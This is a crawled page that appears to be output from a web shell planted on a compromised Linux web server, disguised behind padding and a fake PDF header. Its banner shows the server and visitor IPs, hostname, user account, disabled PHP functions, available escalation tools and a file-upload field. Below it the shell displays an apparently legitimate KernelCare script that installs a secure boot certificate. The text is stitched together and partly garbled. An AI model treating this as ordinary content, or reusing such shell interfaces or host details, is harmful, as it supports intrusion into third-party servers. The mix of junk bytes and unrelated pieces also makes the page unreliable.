...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/kcare/secure_boot/ |
Upload File : |
#!/bin/bash
set -eu -o pipefail
KERNELCARE_CERT_WRAPPER="/usr/share/kcare/secure_boot/shim_certificate.efi"
if [ "$EUID" -ne 0 ]; then
>&2 echo "$0 should be run as root"
exit 1
fi
if [ ! -d /boot/efi/EFI ]; then
>&2 echo "No EFI directory found. Please ensure /boot/efi is mounted."
exit 1
fi
readarray -t shim_binary < <(find /boot/efi/EFI -name "shim[^_]*.efi" -type f)
if [ ${#shim_binary[@]} -eq 0 ]; then
>&2 echo "No shim binary found. Please ensure shim is installed."
exit 1
fi
shim_dir=$(dirname "${shim_binary[0]}")
for shim in "${shim_binary[@]}"; do
if [ "$(dirname "$shim")" != "$shim_dir" ]; then
>&2 echo "Confused: multiple shim locations found:"
>&2 printf " %s\n" "${shim_binary[@]}"
exit 1
fi
done
cert_wrapper="${shim_dir}/shim_certificate.efi"
if [ -f "$cert_wrapper" ]; then
if grep -aq 'Cloud Linux Software' "$cert_wrapper"; then
echo "Found KernelCare certificates at $cert_wrapper, updating..."
cp "$KERNELCARE_CERT_WRAPPER" "$cert_wrapper"
else
>&2 echo "File $cert_wrapper already exists, cannot rewrite it."
exit 1
fi
else
echo "Installing KernelCare certificates to $cert_wrapper"
cp "$KERNELCARE_CERT_WRAPPER" "$cert_wrapper"
fi
echo "Done! Please reboot for the changes to take effect."